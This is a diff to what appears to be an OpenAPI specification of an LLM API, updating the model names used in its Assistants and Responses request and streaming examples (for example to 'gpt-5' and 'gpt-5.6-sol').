+ data: {"id":"run_123","object":"thread.run","created_at":1710330640,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":null,"expires_at":1710331240,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
event: thread.run.in_progress
- data: {"id":"run_123","object":"thread.run","created_at":1710330640,"assistant_id":"asst_123","thread_id":"thread_123","status":"in_progress","started_at":1710330641,"expires_at":1710331240,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
+ data: {"id":"run_123","object":"thread.run","created_at":1710330640,"assistant_id":"asst_123","thread_id":"thread_123","status":"in_progress","started_at":1710330641,"expires_at":1710331240,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
event: thread.run.step.created
data: {"id":"step_001","object":"thread.run.step","created_at":1710330641,"run_id":"run_123","assistant_id":"asst_123","thread_id":"thread_123","type":"message_creation","status":"in_progress","cancelled_at":null,"completed_at":null,"expires_at":1710331240,"failed_at":null,"last_error":null,"step_details":{"type":"message_creation","message_creation":{"message_id":"msg_001"}},"usage":null}
@@ -19678,7 +19675,7 @@ paths:
data: {"id":"step_001","object":"thread.run.step","created_at":1710330641,"run_id":"run_123","assistant_id":"asst_123","thread_id":"thread_123","type":"message_creation","status":"completed","cancelled_at":null,"completed_at":1710330642,"expires_at":1710331240,"failed_at":null,"last_error":null,"step_details":{"type":"message_creation","message_creation":{"message_id":"msg_001"}},"usage":{"prompt_tokens":20,"completion_tokens":11,"total_tokens":31}}
event: thread.run.completed
- data: {"id":"run_123","object":"thread.run","created_at":1710330640,"assistant_id":"asst_123","thread_id":"thread_123","status":"completed","started_at":1710330641,"expires_at":null,"cancelled_at":null,"failed_at":null,"completed_at":1710330642,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":{"prompt_tokens":20,"completion_tokens":11,"total_tokens":31},"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
+ data: {"id":"run_123","object":"thread.run","created_at":1710330640,"assistant_id":"asst_123","thread_id":"thread_123","status":"completed","started_at":1710330641,"expires_at":null,"cancelled_at":null,"failed_at":null,"completed_at":1710330642,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":{"prompt_tokens":20,"completion_tokens":11,"total_tokens":31},"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
event: done
data: [DONE]
@@ -19794,13 +19791,13 @@ paths:
main();
response: |
event: thread.run.created
- data: {"id":"run_123","object":"thread.run","created_at":1710348075,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":null,"expires_at":1710348675,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
+ data: {"id":"run_123","object":"thread.run","created_at":1710348075,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":null,"expires_at":1710348675,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
event: thread.run.queued
- data: {"id":"run_123","object":"thread.run","created_at":1710348075,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":null,"expires_at":1710348675,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
+ data: {"id":"run_123","object":"thread.run","created_at":1710348075,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":null,"expires_at":1710348675,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
event: thread.run.in_progress
- data: {"id":"run_123","object":"thread.run","created_at":1710348075,"assistant_id":"asst_123","thread_id":"thread_123","status":"in_progress","started_at":1710348075,"expires_at":1710348675,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
+ data: {"id":"run_123","object":"thread.run","created_at":1710348075,"assistant_id":"asst_123","thread_id":"thread_123","status":"in_progress","started_at":1710348075,"expires_at":1710348675,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
event: thread.run.step.created
data: {"id":"step_001","object":"thread.run.step","created_at":1710348076,"run_id":"run_123","assistant_id":"asst_123","thread_id":"thread_123","type":"message_creation","status":"in_progress","cancelled_at":null,"completed_at":null,"expires_at":1710348675,"failed_at":null,"last_error":null,"step_details":{"type":"message_creation","message_creation":{"message_id":"msg_001"}},"usage":null}
@@ -19832,7 +19829,7 @@ paths:
data: {"id":"step_001","object":"thread.run.step","created_at":1710348076,"run_id":"run_123","assistant_id":"asst_123","thread_id":"thread_123","type":"message_creation","status":"completed","cancelled_at":null,"completed_at":1710348077,"expires_at":1710348675,"failed_at":null,"last_error":null,"step_details":{"type":"message_creation","message_creation":{"message_id":"msg_001"}},"usage":{"prompt_tokens":20,"completion_tokens":11,"total_tokens":31}}
event: thread.run.completed
- data: {"id":"run_123","object":"thread.run","created_at":1710348075,"assistant_id":"asst_123","thread_id":"thread_123","status":"completed","started_at":1710348075,"expires_at":null,"cancelled_at":null,"failed_at":null,"completed_at":1710348077,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":{"prompt_tokens":20,"completion_tokens":11,"total_tokens":31},"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
+ data: {"id":"run_123","object":"thread.run","created_at":1710348075,"assistant_id":"asst_123","thread_id":"thread_123","status":"completed","started_at":1710348075,"expires_at":null,"cancelled_at":null,"failed_at":null,"completed_at":1710348077,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":{"prompt_tokens":20,"completion_tokens":11,"total_tokens":31},"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
event: done
data: [DONE]
@@ -19914,7 +19911,7 @@ paths:
"failed_at": null,
"completed_at": 1699075073,
"last_error": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": null,
"incomplete_details": null,
"tools": [
@@ -20035,7 +20032,7 @@ paths:
"failed_at": null,
"completed_at": 1699075073,
"last_error": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": null,
"incomplete_details": null,
"tools": [
@@ -20150,7 +20147,7 @@ paths:
"failed_at": null,
"completed_at": null,
"last_error": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": "You summarize books.",
"tools": [
{
@@ -20527,7 +20524,7 @@ paths:
"failed_at": null,
"completed_at": null,
"last_error": null,
- "model": "gpt-4o",
+ "model": "gpt-5",
"instructions": null,
"tools": [
{
@@ -20630,10 +20627,10 @@ paths:
data: {"id":"step_001","object":"thread.run.step","created_at":1710352449,"run_id":"run_123","assistant_id":"asst_123","thread_id":"thread_123","type":"tool_calls","status":"completed","cancelled_at":null,"completed_at":1710352475,"expires_at":1710353047,"failed_at":null,"last_error":null,"step_details":{"type":"tool_calls","tool_calls":[{"id":"call_iWr0kQ2EaYMaxNdl0v3KYkx7","type":"function","function":{"name":"get_current_weather","arguments":"{\"location\":\"San Francisco, CA\",\"unit\":\"fahrenheit\"}","output":"70 degrees and sunny."}}]},"usage":{"prompt_tokens":291,"completion_tokens":24,"total_tokens":315}}
event: thread.run.queued
- data: {"id":"run_123","object":"thread.run","created_at":1710352447,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":1710352448,"expires_at":1710353047,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[{"type":"function","function":{"name":"get_current_weather","description":"Get the current weather in a given location","parameters":{"type":"object","properties":{"location":{"type":"string","description":"The city and state, e.g. San Francisco, CA"},"unit":{"type":"string","enum":["celsius","fahrenheit"]}},"required":["location"]}}}],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
+ data: {"id":"run_123","object":"thread.run","created_at":1710352447,"assistant_id":"asst_123","thread_id":"thread_123","status":"queued","started_at":1710352448,"expires_at":1710353047,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[{"type":"function","function":{"name":"get_current_weather","description":"Get the current weather in a given location","parameters":{"type":"object","properties":{"location":{"type":"string","description":"The city and state, e.g. San Francisco, CA"},"unit":{"type":"string","enum":["celsius","fahrenheit"]}},"required":["location"]}}}],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
event: thread.run.in_progress
- data: {"id":"run_123","object":"thread.run","created_at":1710352447,"assistant_id":"asst_123","thread_id":"thread_123","status":"in_progress","started_at":1710352475,"expires_at":1710353047,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[{"type":"function","function":{"name":"get_current_weather","description":"Get the current weather in a given location","parameters":{"type":"object","properties":{"location":{"type":"string","description":"The city and state, e.g. San Francisco, CA"},"unit":{"type":"string","enum":["celsius","fahrenheit"]}},"required":["location"]}}}],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
+ data: {"id":"run_123","object":"thread.run","created_at":1710352447,"assistant_id":"asst_123","thread_id":"thread_123","status":"in_progress","started_at":1710352475,"expires_at":1710353047,"cancelled_at":null,"failed_at":null,"completed_at":null,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[{"type":"function","function":{"name":"get_current_weather","description":"Get the current weather in a given location","parameters":{"type":"object","properties":{"location":{"type":"string","description":"The city and state, e.g. San Francisco, CA"},"unit":{"type":"string","enum":["celsius","fahrenheit"]}},"required":["location"]}}}],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":null,"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
event: thread.run.step.created
data: {"id":"step_002","object":"thread.run.step","created_at":1710352476,"run_id":"run_123","assistant_id":"asst_123","thread_id":"thread_123","type":"message_creation","status":"in_progress","cancelled_at":null,"completed_at":null,"expires_at":1710353047,"failed_at":null,"last_error":null,"step_details":{"type":"message_creation","message_creation":{"message_id":"msg_002"}},"usage":null}
@@ -20671,7 +20668,7 @@ paths:
data: {"id":"step_002","object":"thread.run.step","created_at":1710352476,"run_id":"run_123","assistant_id":"asst_123","thread_id":"thread_123","type":"message_creation","status":"completed","cancelled_at":null,"completed_at":1710352477,"expires_at":1710353047,"failed_at":null,"last_error":null,"step_details":{"type":"message_creation","message_creation":{"message_id":"msg_002"}},"usage":{"prompt_tokens":329,"completion_tokens":18,"total_tokens":347}}
event: thread.run.completed
- data: {"id":"run_123","object":"thread.run","created_at":1710352447,"assistant_id":"asst_123","thread_id":"thread_123","status":"completed","started_at":1710352475,"expires_at":null,"cancelled_at":null,"failed_at":null,"completed_at":1710352477,"required_action":null,"last_error":null,"model":"gpt-4o","instructions":null,"tools":[{"type":"function","function":{"name":"get_current_weather","description":"Get the current weather in a given location","parameters":{"type":"object","properties":{"location":{"type":"string","description":"The city and state, e.g. San Francisco, CA"},"unit":{"type":"string","enum":["celsius","fahrenheit"]}},"required":["location"]}}}],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":{"prompt_tokens":20,"completion_tokens":11,"total_tokens":31},"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
+ data: {"id":"run_123","object":"thread.run","created_at":1710352447,"assistant_id":"asst_123","thread_id":"thread_123","status":"completed","started_at":1710352475,"expires_at":null,"cancelled_at":null,"failed_at":null,"completed_at":1710352477,"required_action":null,"last_error":null,"model":"gpt-5","instructions":null,"tools":[{"type":"function","function":{"name":"get_current_weather","description":"Get the current weather in a given location","parameters":{"type":"object","properties":{"location":{"type":"string","description":"The city and state, e.g. San Francisco, CA"},"unit":{"type":"string","enum":["celsius","fahrenheit"]}},"required":["location"]}}}],"metadata":{},"temperature":1.0,"top_p":1.0,"max_completion_tokens":null,"max_prompt_tokens":null,"truncation_strategy":{"type":"auto","last_messages":null},"incomplete_details":null,"usage":{"prompt_tokens":20,"completion_tokens":11,"total_tokens":31},"response_format":"auto","tool_choice":"auto","parallel_tool_calls":true}}
event: done
data: [DONE]
@@ -23559,7 +23556,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5",
+ "model": "gpt-5.6-sol",
"input": "Tell me a joke."
}'
javascript: |
@@ -23568,7 +23565,7 @@ paths:
const client = new OpenAI();
const response = await client.responses.inputTokens.count({
- model: "gpt-5",
+ model: "gpt-5.6-sol",
input: "Tell me a joke.",
});
@@ -23579,7 +23576,7 @@ paths:
client = OpenAI()
response = client.responses.input_tokens.count(
- model="gpt-5",
+ model="gpt-5.6-sol",
input="Tell me a joke."
)
print(response.input_tokens)
@@ -23597,7 +23594,7 @@ paths:
func main() {
client := openai.NewClient()
response, err := client.Responses.InputTokens.Count(context.TODO(), responses.InputTokenCountParams{
- Model: "gpt-5",
+ Model: "gpt-5.6-sol",
Input: "Tell me a joke.",
})
if err != nil {
@@ -23610,7 +23607,7 @@ paths:
openai = OpenAI::Client.new
- response = openai.responses.input_tokens.count(model: "gpt-5", input: "Tell me a joke.")
+ response = openai.responses.input_tokens.count(model: "gpt-5.6-sol", input: "Tell me a joke.")
puts(response)
java: |
@@ -23628,7 +23625,7 @@ paths:
OpenAIClient client = OpenAIOkHttpClient.fromEnv();
InputTokenCountParams params = InputTokenCountParams.builder()
- .model("gpt-5")
+ .model("gpt-5.6-sol")
.input("Tell me a joke.")
.build();
@@ -23673,7 +23670,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.1-codex-max",
+ "model": "gpt-5.6-sol",
"input": [
{
"role": "user",
@@ -23702,7 +23699,7 @@ paths:
// Compact the previous response if you are running out of tokens
const compactedResponse = await openai.responses.compact({
- model: "gpt-5.1-codex-max",
+ model: "gpt-5.6-sol",
input: [
{
role: "user",
@@ -23734,7 +23731,7 @@ paths:
client = OpenAI()
compacted_response = client.responses.compact(
- model="gpt-5.1-codex-max",
+ model="gpt-5.6-sol",
input=[
{
"role": "user",
@@ -24924,7 +24921,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"input": "Tell me a three sentence bedtime story about a unicorn."
}'
javascript: |
@@ -24933,7 +24930,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
input: "Tell me a three sentence bedtime story about a unicorn."
});
@@ -24944,7 +24941,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.4",
+ model="gpt-5.6-sol",
input="Tell me a three sentence bedtime story about a unicorn."
)
@@ -24954,7 +24951,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -24972,7 +24969,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"output": [
{
"type": "message",
@@ -25027,7 +25024,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"input": [
{
"role": "user",
@@ -25047,7 +25044,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
input: [
{
role: "user",
@@ -25070,7 +25067,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.4",
+ model="gpt-5.6-sol",
input=[
{
"role": "user",
@@ -25093,7 +25090,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -25121,7 +25118,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"output": [
{
"type": "message",
@@ -25176,7 +25173,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"input": [
{
"role": "user",
@@ -25197,7 +25194,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
input: [
{
role: "user",
@@ -25220,7 +25217,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.4",
+ model="gpt-5.6-sol",
input=[
{
"role": "user",
@@ -25250,7 +25247,7 @@ paths:
"instructions": null,
"max_output_tokens": null,
"max_tool_calls": null,
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"output": [
{
"id": "msg_686eef60d3e081a29283bdcbc4322fd90e34c516d176ff86",
@@ -25308,7 +25305,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"tools": [{ "type": "web_search_preview" }],
"input": "What was a positive news story from today?"
}'
@@ -25318,7 +25315,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
tools: [{ type: "web_search_preview" }],
input: "What was a positive news story from today?",
});
@@ -25330,7 +25327,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.4",
+ model="gpt-5.6-sol",
tools=[{ "type": "web_search_preview" }],
input="What was a positive news story from today?",
)
@@ -25342,7 +25339,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -25370,7 +25367,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"output": [
{
"type": "web_search_call",
@@ -25465,7 +25462,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"tools": [{
"type": "file_search",
"vector_store_ids": ["vs_1234567890"],
@@ -25479,7 +25476,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
tools: [{
type: "file_search",
vector_store_ids: ["vs_1234567890"],
@@ -25495,7 +25492,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.4",
+ model="gpt-5.6-sol",
tools=[{
"type": "file_search",
"vector_store_ids": ["vs_1234567890"],
@@ -25511,7 +25508,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -25542,7 +25539,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"output": [
{
"type": "file_search_call",
@@ -25668,7 +25665,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"instructions": "You are a helpful assistant.",
"input": "Hello!",
"stream": true
@@ -25679,7 +25676,7 @@ paths:
client = OpenAI()
response = client.responses.create(
- model="gpt-5.4",
+ model="gpt-5.6-sol",
instructions="You are a helpful assistant.",
input="Hello!",
stream=True
@@ -25693,7 +25690,7 @@ paths:
const openai = new OpenAI();
const response = await openai.responses.create({
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
instructions: "You are a helpful assistant.",
input: "Hello!",
stream: true,
@@ -25710,7 +25707,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -25732,10 +25729,10 @@ paths:
}
response: |
event: response.created
- data: {"type":"response.created","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.4","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
+ data: {"type":"response.created","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.6-sol","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
event: response.in_progress
- data: {"type":"response.in_progress","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.4","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
+ data: {"type":"response.in_progress","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"in_progress","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.6-sol","output":[],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":null,"user":null,"metadata":{}}}
event: response.output_item.added
data: {"type":"response.output_item.added","output_index":0,"item":{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"in_progress","role":"assistant","content":[]}}
@@ -25758,7 +25755,7 @@ paths:
data: {"type":"response.output_item.done","output_index":0,"item":{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}}
event: response.completed
- data: {"type":"response.completed","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"completed","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.4","output":[{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":{"input_tokens":37,"output_tokens":11,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":48},"user":null,"metadata":{}}}
+ data: {"type":"response.completed","response":{"id":"resp_67c9fdcecf488190bdd9a0409de3a1ec07b8b0ad4e5eb654","object":"response","created_at":1741290958,"status":"completed","error":null,"incomplete_details":null,"instructions":"You are a helpful assistant.","max_output_tokens":null,"model":"gpt-5.6-sol","output":[{"id":"msg_67c9fdcf37fc8190ba82116e33fb28c507b8b0ad4e5eb654","type":"message","status":"completed","role":"assistant","content":[{"type":"output_text","text":"Hi there! How can I assist you today?","annotations":[]}]}],"parallel_tool_calls":true,"previous_response_id":null,"reasoning":{"effort":null,"summary":null},"store":true,"temperature":1.0,"text":{"format":{"type":"text"}},"tool_choice":"auto","tools":[],"top_p":1.0,"truncation":"disabled","usage":{"input_tokens":37,"output_tokens":11,"output_tokens_details":{"reasoning_tokens":0},"total_tokens":48},"user":null,"metadata":{}}}
- title: Functions
request:
curl: |
@@ -25766,7 +25763,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"input": "What is the weather like in Boston today?",
"tools": [
{
@@ -25816,7 +25813,7 @@ paths:
]
response = client.responses.create(
- model="gpt-5.4",
+ model="gpt-5.6-sol",
tools=tools,
input="What is the weather like in Boston today?",
tool_choice="auto"
@@ -25848,7 +25845,7 @@ paths:
];
const response = await openai.responses.create({
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
tools: tools,
input: "What is the weather like in Boston today?",
tool_choice: "auto",
@@ -25860,7 +25857,7 @@ paths:
using OpenAI.Responses;
OpenAIResponseClient client = new(
- model: "gpt-5.4",
+ model: "gpt-5.6-sol",
apiKey: Environment.GetEnvironmentVariable("OPENAI_API_KEY")
);
@@ -25906,7 +25903,7 @@ paths:
"incomplete_details": null,
"instructions": null,
"max_output_tokens": null,
- "model": "gpt-5.4",
+ "model": "gpt-5.6-sol",
"output": [
{
"type": "function_call",
@@ -25979,7 +25976,7 @@ paths:
-H "Content-Type: application/json" \
-H "Authorization: Bearer $OPENAI_API_KEY" \
-d '{
- "model": "o3-mini",
+ "model": "gpt-5.6-sol",
"input": "How much wood would a woodchuck chuck?",
"reasoning": {
"effort": "high"
@@ -25990,7 +25987,7 @@ paths:
const openai = new OpenAI();
